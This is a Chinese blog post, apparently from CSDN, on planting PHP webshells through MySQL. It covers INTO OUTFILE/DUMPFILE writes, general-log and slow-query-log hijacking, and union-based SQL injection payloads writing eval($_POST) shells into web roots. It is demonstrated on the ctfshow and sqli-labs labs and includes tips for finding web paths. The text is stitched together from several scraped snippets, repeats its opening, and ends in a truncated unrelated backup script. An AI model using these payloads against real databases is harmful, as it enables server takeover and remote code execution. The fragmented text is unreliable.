本文探讨了如何在未授权情况下通过outfile/dumpfile写shell、全局日志注入以及利用慢查询日志在MySQL和Redis中获取shell的方法,包括条件、命令参数和实战示例。
摘要由CSDN通过智能技术生成
今天摸鱼时候,突然有人问我不同的数据库getshell的方式,一时间我想到了mysql还有redis未授权访问到getshell的方式,但是仅仅第一时间只想到了这两种,我有查了查资料,找到了上面两种数据库getshell的补充,以及其他数据库getshell的方式。因此更新一个专栏,各个数据库getshell的方式。
1.outfile和dumpfile写shell
2.全局日志
3.慢查询getshell
1.outfile和dumpfile写shell
1.数据库当前
用户为root权限
;
2.知道当前网站的
绝对路径
;
3.PHP的
GPC为 off状态
(魔术引号,GET,POST,Cookie);
4.写入的那个路径
有写入权限
。
show global variables like '%secure%'; ##查看secure-file-priv值
select group_concat(user,0x3a,file_priv) from mysql.user; ##查看当前用户是否有写权限,Y代表有
select '<?php phpinfo() ?>' into outfile '/www/work/webshell.php'; ##写shell多种方式outfile,dumpfile,具体分析 若内容存在引号,会存在语法错误
ctfshow web171进行尝试:
可以看到是Y,有写入的权限
99' union select 1,2,group_concat(user,0x3a,file_priv) from mysql.user;%23
可以看到写入成功了:
99' union select 1,2,"<?php eval($_POST[1]);?>" into outfile '/var/www/html/1.php;%23
接下来就可以执行命令找到flag了.
后续渗透可以在我以下这篇文章中找到:
CSDN
这里不过多演示。
2.
全局日志
-
Web 文件夹宽松权限
可以写入
-
Windows
系统下
-
高权限
运行 MySQL 或者 Apache
MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell
show variables like '%general%'; set global general_log = on;
set global general_log_file = '/www/xx.php'; select '<?php eval($_POST['apple']);?>';
修改为原来路径,再关闭
set global general_log_file='/xxx/xxxx' set global general_log = off;
3.慢查询getshell
1、知道网站真实物理路径
2、root用户身份
3、MySQL 版本 > 5.0
慢查询日志,只有当
查询语句执行的时间要超过系统默认的时间时
,该语句才会被
记入进慢查询日志
。
一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值,这个查询语句将被记录到慢查询日志中。
查看服务器默认时间值方式如下:
show global variables like '%long_query_time%'
show global variables like '%long%'
查看慢日志参数:
show global variables like '%slow%'
对慢日志参数进行修改:
set global slow_query_log=1 #打开慢日志
set global slow_query_log_file='/var/www/html/1.php'#慢日志的路径
注意:一定要用双反斜杠
SELECT '<?php @eval($_POST[1]);?>' or sleep(11)
这儿11是超过慢日志的10秒时间
查询是否开启:
今天摸鱼时候,突然有人问我不同的数据库getshell的方式,一时间我想到了mysql还有redis未授权访问到getshell的方式,但是仅仅第一时间只想到了这两种,我有查了查资料,找到了上面两种数据库getshell的补充,以及其他数据库getshell的方式。因此更新一个专栏,各个数据库getshell的方式。
有权限,有绝对路径
一般写文件
select 0x3c3f70687020406576616c28245f504f53545b2774657374275d293f3e into outfile'D:\\phpstudy_pro\\WWW\\
shell
.php';
以sqli-labs第七关为例
虽然这里报错了,但是文件还是写进去了
后面就可以用菜刀连接了
Mysql
注入直接get
shell
的条件相对来说比较苛刻点把
1:要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道
2:gpc没有开启,开启了单引号被转义了,语句就不能正常执行了
3:要有file权限,默认情况下只有root有
4:对目录要有写权限,一般image之类的存放突破的目录就有
在实际环境中我只遇过一次,为了做实验,我把php.ini文件...
获取网站根目录方式
(1) phpinfo() 页面:最理想的情况,直接显示
web
路径 (2)
web
报错信息:可以通过各种fuzz尝试让目标报错,也有可能爆出绝对路径 (3) 一些集成的
web
框架:如果目标站点是利用phpstudy、LAMPP等之类搭建的,可以猜测默认路径或者通过查看
数据库
保存的路径默认路径
winserver的iis默认路径c:\Inetpub\wwwroot
linux
的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr.
文章目录outfile和dumpfile写
shell
利用条件基于union联合查询:非联合查询outfile和dumpfile的区别secure_file_prive日志get
shell
慢日志get
shell
利用general_logbinlog的介绍
outfile和dumpfile写
shell
数据库
当前用户为root权限;
知道当前网站的绝对路径;
PHP的GPC为 off状态;(魔术引号,GET,POST,Cookie)
写入的那个路径存在写入权限。
基于union联合查询:
我可以给你一个写一个备份
mysql
数据库
的
shell
脚本的示例:#!/bin/bash
# This script will backup all databases# Set the backup folder
BACKUP_DIR="/var/backups/
mysql
"# Set the date
NOW="$(date +'%Y-%m-%d-%H-%M-%S')"# Create the backup directory
mkdir -p $BACKUP_DIR/$NOW# Get the databases name
databases=`
mysql
-u <username> -p<password> -e "SHOW DATABASES;" | tr -d "| " | grep -v Database`# Backup each database
for db in $databases; do
if [[ "$db" != "information_schema" ]] && [[ "$db" != _* ]] ; then
echo "Dumping database: $db"
mysql
dump -u <username> -p<password> --databases $db > $BACKUP_DIR/$NOW/$db.sql